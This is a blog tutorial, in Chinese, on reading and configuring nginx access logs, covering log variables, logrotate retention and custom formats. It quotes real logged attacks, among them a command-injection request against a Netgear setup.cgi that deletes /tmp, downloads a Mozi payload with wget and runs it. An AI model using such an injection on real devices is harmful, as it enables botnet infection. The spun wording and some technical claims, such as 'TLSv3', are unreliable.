$request

恳求的URI和HTTP合同

GET/?p=187HTTP/1.1

$http_host

恳求地址,即浏览器中你输入的地址(IP或域名)

$status

HTTP恳求状态

200

$upstream_status

upstream状态

200

$body_bytes_sent

发送给顾客端文件内容大小

21893

$http_referer

url跳转来源

$http_user_agent

用户终端浏览器等信息

Mozilla/5.0(iPhone;CPUiPhoneOS15_2likeMacOSX;zh-cn)AppleWebKit/601.1.46(KHTML,likeGecko)Mobile/19C56Quark/5.4.9.1257Mobile

linux计划任务执行日志_nginx access.log分析_http请求日志解读

$http_x_forwarded_for

HTTP恳求端真实IP

若果是通过代理访问,那一般会是个空,输出的疗效就是:-

$ssl_protocol

SSL合同版本

TLSv3

$ssl_cipher

交换数据中的算法

RC4-SHA

$upstream_addr

后台upstream的地址,即真正提供服务的主机地址

也就是我们的服务器ip地址

$request_time

整个恳求的总时间

0.155

$upstream_response_time

恳求过程中,upstream响应时间

0.005

当我们弄明白了模板的参数意义深度linux,就可以阅读自己的access.log文件了。

2.2access.log

日志文档一般储存在:/var/log/nginx/目录下。诸如:

linux计划任务执行日志_http请求日志解读_nginx access.log分析

[root@iZuf ~]# cd /var/log/nginx/
[root@iZuf nginx]# ls
access.log              access.log-20221023.gz  error.log-20220927.gz  error.log-20221024.gz
access.log-20220927.gz  access.log-20221024.gz  error.log-20220928.gz  error.log-20221025.gz
access.log-20220928.gz  access.log-20221025.gz  error.log-20220929.gz  error.log-20221026.gz
access.log-20220929.gz  access.log-20221026.gz  error.log-20220930.gz  error.log-20221027.gz
access.log-20220930.gz  access.log-20221027.gz  error.log-20221001.gz  error.log-20221028.gz
access.log-20221001.gz  access.log-20221028.gz  error.log-20221002.gz  error.log-20221029.gz
access.log-20221002.gz  access.log-20221029.gz  error.log-20221003.gz  error.log-20221030.gz
access.log-20221003.gz  access.log-20221030.gz  error.log-20221004.gz  error.log-20221031.gz
access.log-20221004.gz  access.log-20221031.gz  error.log-20221005.gz  error.log-20221101.gz
access.log-20221005.gz  access.log-20221101.gz  error.log-20221006.gz  error.log-20221102.gz
access.log-20221006.gz  access.log-20221102.gz  error.log-20221007.gz  error.log-20221103.gz
access.log-20221007.gz  access.log-20221103.gz  error.log-20221008.gz  error.log-20221104.gz
access.log-20221008.gz  access.log-20221104.gz  error.log-20221009.gz  error.log-20221105.gz
access.log-20221009.gz  access.log-20221105.gz  error.log-20221010.gz  error.log-20221106.gz
access.log-20221010.gz  access.log-20221106.gz  error.log-20221011.gz  error.log-20221107.gz
access.log-20221011.gz  access.log-20221107.gz  error.log-20221012.gz  error.log-20221108.gz
access.log-20221012.gz  access.log-20221108.gz  error.log-20221013.gz  error.log-20221109.gz
access.log-20221013.gz  access.log-20221109.gz  error.log-20221014.gz  error.log-20221110.gz
access.log-20221014.gz  access.log-20221110.gz  error.log-20221015.gz  error.log-20221111.gz

http请求日志解读_nginx access.log分析_linux计划任务执行日志

access.log-20221015.gz access.log-20221111.gz error.log-20221016.gz error.log-20221112.gz access.log-20221016.gz access.log-20221112.gz error.log-20221017.gz error.log-20221113.gz access.log-20221017.gz access.log-20221113.gz error.log-20221018.gz error.log-20221114.gz access.log-20221018.gz access.log-20221114.gz error.log-20221019.gz error.log-20221115.gz access.log-20221019.gz access.log-20221115.gz error.log-20221020.gz error.log-20221116.gz access.log-20221020.gz access.log-20221116.gz error.log-20221021.gz error.log-20221117 access.log-20221021.gz access.log-20221117 error.log-20221022.gz access.log-20221022.gz error.log error.log-20221023.gz

error.log是属于错误日志,这儿就先不解释了。我们主要看access.log日志

里面的access.log上面如今会实时记录当日的恳求,同时也会创建一个access.log-2022-11-17文件或许这个文件是复制的上三天的日志。

假如你想看当日的恳求日志,直接通过access.log文件进行查看就可以了。

假如想看之前一段时间的日志linux计划任务执行日志,就须要访问指定日期的gz压缩包,进行解压以后访问了。

比如前面的示例,我的日志文件记录了9月27日到11月17日这期间的日志。

当11月18日到来时,我的9月27日的日志将会被删掉。

PS:access.log日志默认缓存了4+31+16=51天+明天=52天的日志。

2.2.1配置日志保留时间

一般nginx的日志协程配置文件会储存在/etc/logrotate.d/nginx文件中。通过vim命令打开文件:vim/etc/logrotate.d/nginx可以看见下边

/var/log/nginx/*.log {
       ...
        rotate 52
        ...
}

linux计划任务执行日志_nginx access.log分析_http请求日志解读

其中的rotate就是我们的日志保留时间了。诸如我的是52,我们可以按照自己的需求更改为其他整数日期。诸如15,30等天数。

更改完毕后,须要执行:

logrotate/etc/logrotate.d/nginx让配置生效。就可以了。

2.2.2日志阅读

日志文档的阅读方法有好多,可以在Linux通过cat命令或则vim命令进行阅读。也可以将log导入到本地linux怎么查看系统版本,通过各类文本工具进行阅读。

比如显著发动功击的:

183.232.170.216 - - [17/Nov/2022:03:32:19 +0800] "HEAD /1234.php HTTP/1.1" 301 0 "-" "-" "-"
183.232.170.216 - - [17/Nov/2022:03:32:20 +0800] "HEAD /1.php HTTP/1.1" 301 0 "-" "-" "-"
183.232.170.216 - - [17/Nov/2022:03:32:20 +0800] "HEAD /a.php HTTP/1.1" 301 0 "-" "-" "-"
183.232.170.216 - - [17/Nov/2022:03:32:20 +0800] "HEAD /888.php HTTP/1.1" 301 0 "-" "-" "-"
183.232.170.216 - - [17/Nov/2022:03:32:20 +0800] "HEAD /admin8.php HTTP/1.1" 301 0 "-" "-" "-"

还有一些是想通过注入执行的。诸如下边的想通过在传值中添加rm和rf指令,之后再通过wget执行下载:

115.62.157.248 - - [17/Nov/2022:16:22:18 +0800] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://115.62.157.248:55546/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0" 301 162 "-" "-" "-"

等等操作,你会发觉我们的服务器从上线发布以后,就有各类的功击在访问。

同时,也会有一些搜索浏览器的爬虫在不断抓取我们的网站。

PS:我们可以通过日志得到的一些信息,写拦截配置。这儿就不扩充介绍怎么写拦截配置了。以后会分享怎样配置自己的nginx拦截

2.3自定义日志Format格式

通过前面的剖析,我们可以晓得nginx默认的log日志有好多参数早已过时了,或则大几率取不到。比如$remote_user,$http_x_forwarded_for等数组。

比如我们自定义一下:

linux计划任务执行日志_http请求日志解读_nginx access.log分析

log_format  main  'Status:$status,Bytes:$body_bytes_sent,IP:$remote_addr,Time:[$time_iso8601],Request:"$request" ,Referer:"$http_referer",UserAgent:"$http_user_agent",RequestTime:[$request_time]';

之后保存文档,执行nginx-t检查一下我们配置的命令有没有问题。假如返回isSuccessful就代表没有问题。诸如:

[root@iZuf nginx]# nginx -t
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful

假如输出:

[root@iZuf nginx]# nginx -t
nginx: [emerg] unknown "remote_addrm" variable
nginx: configuration file /etc/nginx/nginx.conf test failed

就说明有错误了,比如前面就提醒我,输入的一个错误的变量remote_addrmnginx没有这个变量。(PS:我前面的示例是对的,这儿只是介绍下倘若错误了回出现的情况。)

测量通过后,我们就可以执行:servicenginxreload刷新配置了。示例如下:

[root@iZuf nginx]# service nginx reload
Redirecting to /bin/systemctl reload nginx.service
[root@iZuf nginx]#

刷新过程中,不会影响后端的访问。等几秒过后,我们再阅读access.log文件就可以看见我们配置后格式的日志清单了。

3.小结

主要介绍了access的一些基本情况和日志内容的阅读。有好多工具可以帮我们手动阅读access.log文本,比如宝塔中的日志阅读linux计划任务执行日志,比如阿里云服务器的

日志服务等都可以一键式管理我们的日志数据,但是提供剖析报告。

这儿只是介绍了,怎么阅读日志。我们通过日志得到的ip,恳请等等逻辑,可以订制自己的拦截规则。降低和防范功击。

Tagged:
Author

这篇优质的内容由TA贡献而来

刘遄

《Linux就该这么学》书籍作者,RHCA认证架构师,教育学(计算机专业硕士)。

发表回复